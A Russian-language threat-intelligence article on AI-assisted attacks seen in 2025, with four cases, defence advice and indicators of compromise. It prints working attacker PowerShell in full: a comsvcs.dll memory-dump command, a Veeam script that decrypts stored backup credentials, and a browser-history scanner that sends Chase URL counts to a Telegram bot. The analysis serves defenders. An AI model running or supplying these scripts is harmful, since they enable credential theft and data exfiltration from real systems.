По итогам 2025 года прогнозы о появлении всемогущих, непостижимых киберугроз на базе искусственного интеллекта (ИИ) оказались преувеличенными. Реальность оказалась гораздо более приземленной. Противники стали активнее использовать ИИ для генерации и автоматизации традиционных методов атак. Ключевое отличие заключалось в скорости и доступности, а не в появлении принципиально новых векторов атаки. Как неоднократно отмечалось ранее, многие кибератаки не отличаются изощренностью, и защитники могут одержать победу, если правильно реализуют базовые принципы безопасности.
Описание
ИИ как инструмент автоматизации, а не революции
В данном контексте под ИИ подразумеваются общедоступные большие языковые модели и генеративные системы, такие как ChatGPT, DeepSeek, Gemini и аналогичные инструменты. Эти системы представляют собой генераторы общего текста и кода, обученные на огромных массивах публичных и лицензированных данных. Они не способны самостоятельно планировать, рассуждать или выполнять атаки. Противники используют их как инструменты повышения производительности для создания скриптов, сборки команд и обобщения известных методик, но не как автономные платформы для атак или источники принципиально новых методов эксплуатации в широком масштабе.
Таким образом, ИИ используется как быстрый инструмент написания кода, который преобразует намерение злоумышленника в исполняемый код. Типичные характеристики такого подхода включают артефакты, выдающие происхождение скрипта: странные комментарии, строки на неродном языке, непоследовательные имена переменных и ошибки копирования-вставки. Кроме того, наблюдается быстрая компоновка PowerShell и batch-скриптов, которые объединяют ранее известные команды и техники. Это снижает порог входа для менее квалифицированных операторов, которые полагаются на ИИ для сборки последовательностей команд. Появляются новые, но неглубокие поверхности атаки: фишинговые тексты, созданные ИИ, наивное обфусцирование и шаблонные пути утечки данных на общедоступные каналы, такие как Telegram.
Результатом этой облегченной ИИ деятельности является просто ускорение существующих кампаний. Атаки становятся быстрее и шумнее, они больше напоминают массовый товар, чем нечто новое, и по-прежнему срабатывают на те же самые сигнатуры обнаружения, если базовая защита настроена адекватно.
Кейс 1: AI-генерация дампера учетных данных
Злоумышленник получил первоначальный доступ к сети путем подбора пароля к службе удаленных рабочих столов (RDP). После этого он перешел к сбору учетных данных и выполнил скрипт PowerShell, который при анализе показался подозрительно похожим на сгенерированный ИИ. Полезная нагрузка содержала кириллические строки и другие неаккуратные артефакты, а само выполнение было шумным и неискусным. Специалисты компании Huntress заблокировали сессию, удалили актора до того, как он смог углубиться в сеть, и определили первопричину. Этот случай наглядно показал, что атака с помощью ИИ не равна успешной атаке - пробелы в навыках злоумышленника не могут быть компенсированы искусственным интеллектом.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | ## Comments are inserted English translation of Russian strings Write-Host "Пробуем создать дамп: $dumpFile` ## Trying to create dump: $dumpFile # Метод 1: Через Start-Process` ## Method 1: Via Start-Process Start-Process -FilePath "rundll32.exe" -ArgumentList "C:\Windows\System32\comsvcs.dll, MiniDump 832 $dumpFile full" -Wait -NoNewWindow` # Проверяем результат` ## Checking the result if (Test-Path $dumpFile) {` $file = Get-Item $dumpFile` Write-Host "Успешно! Размер файла: $([math]::Round($file.Length/1MB, 2)) MB"` ## Success! File size Write-Host "Путь: $($file.FullName)"` ## Path } else { Write-Host "Файл не создан. Пробуем другой метод..."` ## File not created. Trying another method... |
Кейс 2: Попытка кражи учетных данных Veeam в некоммерческой организации
Противник начал с разведки сети, переместился горизонтально через WinRM и попытался развернуть AI-сгенерированный скрипт PowerShell, нацеленный на учетные данные резервного копирования Veeam. Скрипт содержал странные фрагменты, неуместные комментарии и необычную структуру. Инструменты проверки на ИИ пометили его как созданный машиной. При дальнейшем изучении выяснилось, что скрипт не смог выполниться, и защитники нейтрализовали активность. В очередной раз базовая гигиена безопасности и телеметрия оказались наиболее эффективными средствами контроля в этом случае, наряду с быстрым анализом для определения масштаба инцидента.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 | # Ensure script runs with elevated privileges on the Veeam server. # Step 1: Detect Veeam SQL instance and database from registry or prompt if needed. $SQLServer = $null $SQLInstance = $null $SQLDBName = $null Add-Type -AssemblyName System.Security # Check new registry path (for VBR v12+ configurations) $baseRegPath = "HKLM:\SOFTWARE\Veeam\Veeam Backup and Replication" if (Test-Path "$baseRegPath\DatabaseConfigurations") { $dbConfig = Get-ItemProperty -Path "$baseRegPath\DatabaseConfigurations" $activeDB = $dbConfig.SqlActiveConfiguration # "Mssql" or "PostgreSql" if ($activeDB -eq "Mssql") { $sqlConfig = Get-ItemProperty -Path "$baseRegPath\DatabaseConfigurations\Mssql" $SQLServer = $sqlConfig.SqlServerName $SQLInstance = $sqlConfig.SqlInstanceName $SQLDBName = $sqlConfig.SqlDatabaseName } elseif ($activeDB -eq "PostgreSql") { Write-Warning "Detected PostgreSQL as the Veeam database. This script currently supports only MSSQL." # (For PostgreSQL, a different approach using Npgsql or psql would be needed; not implemented here.) } } # If not found, check legacy registry keys (for older Veeam versions) if (-not $SQLServer) { if (Test-Path $baseRegPath) { try { $legacyConf = Get-ItemProperty -Path $baseRegPath $SQLServer = $legacyConf.SQLServerName $SQLInstance = $legacyConf.SQLInstanceName $SQLDBName = $legacyConf.SQLDatabaseName } catch { # Keys might not exist or accessible } } } # If still not resolved, prompt the user for details if (-not $SQLServer -or -not $SQLInstance -or -not $SQLDBName) { Write-Host "Could not auto-detect the Veeam SQL instance. Please provide details:" -ForegroundColor Yellow if (-not $SQLServer) { $SQLServer = Read-Host "Enter SQL Server name (e.g., . for local)"} if (-not $SQLInstance) { $SQLInstance = Read-Host "Enter SQL Instance name (e.g., VEEAMSQL2017)"} if (-not $SQLDBName) { $SQLDBName = Read-Host "Enter Veeam Database name (e.g., VeeamBackup)"} if (-not $SQLServer -or -not $SQLInstance -or -not $SQLDBName) { Write-Error "SQL instance information is incomplete. Exiting." return } } # Build the connection string for SQL # If instance is the default (MSSQLSERVER), no instance name is needed in the connection string if ($SQLInstance -eq "MSSQLSERVER") { $connString = "Server=$SQLServer; Database=$SQLDBName; Trusted_Connection=True;" } else { $connString = "Server=$SQLServer\$SQLInstance; Database=$SQLDBName; Trusted_Connection=True;" } # Step 2: Connect to the SQL database Try { $connection = New-Object System.Data.SqlClient.SqlConnection $connection.ConnectionString = $connString $connection.Open() } catch { Write-Error "Failed to connect to SQL Server `$SQLServer\$SQLInstance`: $_" return } # Step 3: Query the Credentials table for description, username, and password $query = "SELECT [description], [user_name], [password] FROM [dbo].[Credentials]" try { $command = $connection.CreateCommand() $command.CommandText = $query $reader = $command.ExecuteReader() } catch { $connection.Close() Write-Error "SQL query failed: $($_.Exception.Message)" return } # Load results into a DataTable for easy handling $DataTable = New-Object System.Data.DataTable $DataTable.Load($reader) $connection.Close() # If no records, inform and exit if ($DataTable.Rows.Count -eq 0) { Write-Host "No credentials found in the Veeam Credentials table." return } # Step 4: Get the EncryptionSalt from registry (if available) $saltBytes = $null $regDataPath = "$baseRegPath\Data" if (Test-Path $regDataPath) { try { $regValues = Get-ItemProperty -Path $regDataPath $saltBase64 = $regValues.EncryptionSalt if ($saltBase64) { $saltBytes = [Convert]::FromBase64String($saltBase64) } } catch { Write-Warning "Unable to read EncryptionSalt from registry: $($_.Exception.Message)" } } # Step 5: Decrypt each password $resultList = @() foreach ($row in $DataTable) { $desc = $row.description $user = $row.user_name $encPass = $row.password $plainPass = "<Decryption failed>" # default message, will be overwritten if successful try { if ($encPass -match '^(?i)AQAA') { # Legacy DPAPI encryption (no extra salt) $data = [Convert]::FromBase64String($encPass) $rawBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($data, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $plainPass = [System.Text.Encoding]::UTF8.GetString($rawBytes) } else { # Newer encryption (with salt) – requires removing header and using the salt if (-not $saltBytes) { throw "EncryptionSalt not found (required for new format)." } # Convert Base64 to bytes and strip the first 74 hex characters (37 bytes) from the blob $data = [Convert]::FromBase64String($encPass) $hexBuilder = New-Object System.Text.StringBuilder ($data.Length * 2) foreach ($b in $data) { [void]$hexBuilder.AppendFormat("{0:x2}", $b) } $hexString = $hexBuilder.ToString() if ($hexString.Length -lt 74) { throw "Encrypted data blob is shorter than expected." } # Remove the first 74 hex chars (header/metadata) $hexString = $hexString.Substring(74) # Convert the remaining hex string back to byte array $dataBytes = New-Object byte[] ($hexString.Length / 2) for ($i = 0; $i -lt $hexString.Length; $i += 2) { $dataBytes[$i/2] = [Convert]::ToByte($hexString.Substring($i, 2), 16) } # Now decrypt using DPAPI with the salt $rawBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($dataBytes, $saltBytes, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $plainPass = [System.Text.Encoding]::UTF8.GetString($rawBytes) } } catch { # If any error occurs during decryption, capture the message $plainPass = "Decryption failed: $($_.Exception.Message)" } # Collect the result $resultList += [PSCustomObject]@{ Description = $desc Username = $user Password = $plainPass } } # Step 6: Output the results (Description, Username, Decrypted Password) $resultList | Format-Table -Property Description, Username, Password |
Кейс 3: Три AI-скрипта для кражи данных браузера и один рабочий
В этом случае угроза доставила PowerShell-нагрузку через несанкционированную сессию ScreenConnect. Обнаружение необычной активности удаленного управления и поведения процессов привело к сдерживанию и сбору улик. При анализе выяснилось, что скрипт сканировал историю Chrome и Edge на предмет URL-адресов банка Chase и передавал собранные данные на конечную точку в Telegram. Эта методика представляет собой простой сбор учетных данных, упакованный в автоматизированный скрипт, который выдает признаки генерации ИИ, включая кириллические символы.
Однако это была не первая попытка злоумышленника. Ранее на других хостах был развернут скрипт, нацеленный на учетные данные QuickBooks, но он заявлял о передаче в Telegram, не содержа при этом соответствующего функционала. Днем позже появился скрипт для Coinbase, где злоумышленник просто заменил строки URL, но базовое регулярное выражение по-прежнему искало данные QuickBooks. Скрипт сообщал о результатах по Coinbase, не собрав ничего. Лишь с третьей попытки актор наконец создал работоспособную полезную нагрузку.
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 | # =============================================== # Scan Chrome + Edge history files (ALL users, ALL profiles) # Search for "secure.chase.com" directly in History DB (no SQLite module) # Save matches to C:\H\History.txt # Save PC Name + User + count to C:\H\results.txt # If count > 10 send results.txt content to Telegram # Designed for running as service user (SYSTEM) via SimpleHelp # =============================================== try { Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force -ErrorAction Stop } catch {} $ErrorActionPreference = 'Stop' $ProgressPreference = 'SilentlyContinue' # ------------------------------------------------ # Prepare folder C:\H # ------------------------------------------------ $outFolder = "C:\H" $outFile = Join-Path $outFolder "History.txt" $resultsFile = Join-Path $outFolder "results.txt" if (-not (Test-Path $outFolder)) { try { New-Item $outFolder -ItemType Directory -Force | Out-Null Write-Host "Created folder: $outFolder" } catch { Write-Error ("Failed to create folder {0}. Error: {1}" -f $outFolder, $_.Exception.Message) exit 1 } } if (Test-Path $outFolder) { try { (Get-Item $outFolder -Force).Attributes = 'Hidden','System' Write-Host "Output folder ready (hidden): $outFolder" } catch { Write-Warning ("Failed to set attributes on {0}. Error: {1}" -f $outFolder, $_.Exception.Message) } } else { Write-Error ("Folder {0} does not exist. Script stopped." -f $outFolder) exit 1 } # ------------------------------------------------ # Function: scan one History file as binary and find QBO URLs # ------------------------------------------------ function Get-QboFromHistoryFile { param( [string]$Browser, [string]$UserFolder, [string]$ProfileName, [string]$HistoryPath ) $items = @() if (-not (Test-Path $HistoryPath)) { return $items } # Copy to temp to avoid file locks $tempHistory = Join-Path $env:TEMP ("Hist_{0}_{1}_{2}.db" -f $Browser, $UserFolder.Replace('\','_'), $ProfileName) try { Copy-Item $HistoryPath $tempHistory -Force -ErrorAction Stop } catch { Write-Warning ("Failed to copy history file {0}. Error: {1}" -f $HistoryPath, $_.Exception.Message) return $items } try { # Read raw bytes and convert to ASCII string $bytes = [System.IO.File]::ReadAllBytes($tempHistory) if (-not $bytes -or $bytes.Length -eq 0) { return $items } $text = [System.Text.Encoding]::ASCII.GetString($bytes) # Regex options $regexOptions = [System.Text.RegularExpressions.RegexOptions]::IgnoreCase $pattern = 'https?://secure\.chase\.com[^\x00\s"]*' $matches = [System.Text.RegularExpressions.Regex]::Matches($text, $pattern, $regexOptions) foreach ($m in $matches) { $items += [PSCustomObject]@{ Browser = $Browser UserFolder = $UserFolder Profile = $ProfileName Url = $m.Value } } } catch { Write-Warning ("Failed to scan history file {0}. Error: {1}" -f $HistoryPath, $_.Exception.Message) } finally { try { Remove-Item $tempHistory -Force -ErrorAction SilentlyContinue } catch {} } return $items } # ------------------------------------------------ # Function: scan all profiles for a browser for ALL users # ------------------------------------------------ function Scan-ChromiumAllUsers { param( [string]$BrowserName, # "Chrome" or "Edge" [string]$RelativeBasePath # e.g. "AppData\Local\Google\Chrome\User Data" ) $results = @() $usersRoot = "C:\Users" if (-not (Test-Path $usersRoot)) { return $results } Get-ChildItem $usersRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object { $userDir = $_.FullName $userName = $_.Name $baseFolder = Join-Path $userDir $RelativeBasePath if (-not (Test-Path $baseFolder)) { return } # Profiles under User Data Get-ChildItem $baseFolder -Directory -ErrorAction SilentlyContinue | ForEach-Object { $profileName = $_.Name $historyPath = Join-Path $_.FullName "History" if (Test-Path $historyPath) { $results += Get-QboFromHistoryFile -Browser $BrowserName -UserFolder $userName -ProfileName $profileName -HistoryPath $historyPath } } } return $results } # ------------------------------------------------ # Scan Chrome and Edge for all users # ------------------------------------------------ Write-Host "Scanning Chrome and Edge history files for secure.chase.com ..." $allMatches = @() $chromeRel = "AppData\Local\Google\Chrome\User Data" $edgeRel = "AppData\Local\Microsoft\Edge\User Data" $allMatches += Scan-ChromiumAllUsers -BrowserName "Chrome" -RelativeBasePath $chromeRel $allMatches += Scan-ChromiumAllUsers -BrowserName "Edge" -RelativeBasePath $edgeRel # Remove duplicate URLs (optional) $allMatches = $allMatches | Select-Object Browser,UserFolder,Profile,Url -Unique $count = $allMatches.Count Write-Host ("Total secure.chase.com entries found: {0}" -f $count) # Показать в каком браузере сколько результатов $byBrowser = $allMatches | Group-Object Browser | Sort-Object Count -Descending Write-Host "Results by browser:" $byBrowser | ForEach-Object { Write-Host (" {0}: {1}" -f $_.Name, $_.Count) } # Count total Chrome profiles across ALL users Посчитать общее количество профилей Chrome (User Data*) $chromeProfiles = @() $usersRoot = "C:\Users" $chromeRel = "AppData\Local\Google\Chrome\User Data" Get-ChildItem $usersRoot -Directory -ErrorAction SilentlyContinue | ForEach-Object { $base = Join-Path $_.FullName $chromeRel if (Test-Path $base) { Get-ChildItem $base -Directory -ErrorAction SilentlyContinue | ForEach-Object { # Chrome profiles usually contain a History file if (Test-Path (Join-Path $_.FullName "History")) { $chromeProfiles += [PSCustomObject]@{ User = $_.Parent.Parent.Parent.Name Profile = $_.Name } } } } } $chromeProfileCount = $chromeProfiles.Count Write-Host ("Total Chrome profiles found: {0}" -f $chromeProfileCount) #3. (Опционально) Показать Chrome профили с совпадениями Write-Host "Chrome profiles with matches:" $allMatches | Where-Object { $_.Browser -eq 'Chrome' } | Group-Object UserFolder,Profile | ForEach-Object { Write-Host (" User={0}, Profile={1}, Count={2}" -f ` $_.Group[0].UserFolder, $_.Group[0].Profile, $_.Count) } #тут пишем колво, если каунт больше 10 шлем увед в тг if ($count -gt 30) { $pc = $env:COMPUTERNAME # Build compact browser summary: "Chrome=10; Edge=15" $browserSummary = ($byBrowser | ForEach-Object { "{0}={1}" -f $_.Name, $_.Count }) -join "; " $BOT_TOKEN = "<Redacted>" $CHAT_ID = "<Redacted>" $msg = "$pc | secure.chase.com total=$count | $browserSummary" try { Invoke-RestMethod -Uri ("https://api.telegram.org/bot{0}/sendMessage" -f $BOT_TOKEN) ` -Method Post ` -ContentType "application/x-www-form-urlencoded" ` -Body @{ chat_id = $CHAT_ID; text = $msg } | Out-Null Write-Host "Telegram: sent" } catch { Write-Host ("Telegram: FAILED - {0}" -f $_.Exception.Message) } } |
Кейс 4: Разработка вредоносного расширения для Chrome с помощью ИИ
В этом случае было обнаружено вредоносное расширение для браузера Chrome, функционирующее как полнофункциональный троян удаленного доступа (RAT). Структура кода, исчерпывающие комментарии и организованное форматирование явно указывают на разработку с помощью ИИ. Расширение маскировалось под инструмент, связанный с Telegram, используя репутацию легитимного приложения, чтобы избежать подозрений. Расширение выходило на свой командный сервер каждые пять секунд для получения заданий. Оно поддерживало широкий спектр команд, включая создание скриншотов вкладок, экспорт всех cookies браузера, перечисление открытых вкладок, экспорт истории просмотров и загрузок, сбор системной информации и обход содержимого папок.
На AI-происхождение кода указывают многословные заголовки разделов с ASCII-разделителями, тщательно прокомментированные функции в едином стиле и чистая модульная архитектура. Использование эмодзи в пользовательских строках также характерно для кода, созданного ИИ, который пытается создать «отполированный» вывод.
Заключение: рекомендации по защите и прогноз на 2026 год
Главный вывод из этой статьи должен несколько успокоить опасения по поводу AI-апокалипсиса, о котором говорят некоторые комментаторы, но также и встревожить организации, которые еще не достигли базового уровня безопасности. Как и во многих аспектах кибербезопасности, последовательное соблюдение основ настраивает защитников на успех в противодействии угрозам с использованием ИИ.
Ключевые рекомендации по защите на 2026 год включают инвестиции в сбор и хранение телеметрии, а также в сквозные сценарии реагирования для систем EDR и SOC, вместо погони за идеальной профилактикой. Необходимо повсеместно применять многофакторную аутентификацию для VPN, административных интерфейсов, систем удаленного управления и консолей резервного копирования. Следует ограничивать пути горизонтального перемещения за счет сегментации сети, принципа наименьших привилегий и мониторинга использования WinRM, RDP и сервисных учетных записей. Важно вести журналы и настраивать оповещения о подозрительной активности интерпретаторов, а также поддерживать и настраивать обнаружение типовых методов на ранних стадиях: аномальную разведку, горизонтальное перемещение, дампинг учетных данных и повышение привилегий.
Что касается прогноза на 2026 год, то, основываясь на наблюдениях 2025-го, ИИ будет ускорять коммодитизацию методов атак, производя больше шаблонных и автоматизированных атак, улучшая скорость разведки и фишинга. Противники будут пытаться использовать ИИ для обфусцирования и автоматизированного социального инжиниринга. Также ожидается тенденция к увеличению активности злоумышленников на уровне гипервизора, где ИИ может усиливать их возможности.
Искусственный интеллект ускоряет деятельность противников, но не обязательно переопределяет ее. Те же знакомые методы производятся быстрее, дешевле и менее квалифицированными операторами с помощью ИИ. Это большое преимущество для защитников, поскольку это означает, что фундаментальные основы безопасности по-прежнему будут работать, потому что базовое поведение не изменилось, изменилась лишь скорость их появления. Небольшая часть и без того продвинутых противников использует ИИ для перехода на новый уровень изощренности, и хотя они составляют около 1% от общего числа, их разрушительный потенциал нельзя игнорировать. 2026 год станет захватывающим временем для наблюдения за тем, как и защитники, и злоумышленники используют искусственный интеллект.
Индикаторы компрометации
IPv4 Port Combinations
- 172.86.105.237:5000
SHA256
- 19d19ac8199298f7b623693f4e38cb79aba8294c258746a3c9d9a183b2bb2578
- 4574ffef886ca461a89db7b9aaaede2e20ac802a82db94e3b6e4d0e86370e7a4
- 57f2a2bb77f5400b46ebc42118f46ffaa497d5c03c24d1cb3868dde2381a0f07
- cf289b3ab970a3d04213b7312220f769f493f2f2c666ed7a8fe512075a84e995
- d272c90fc264fa3e4a71fbeff324273c99dd0a48fd2f0234aa6fdd3e80add936
- f75219e2aea50b8fa618f55389ab9a58351fb6acd4ea7c7de3e656183d5a52f0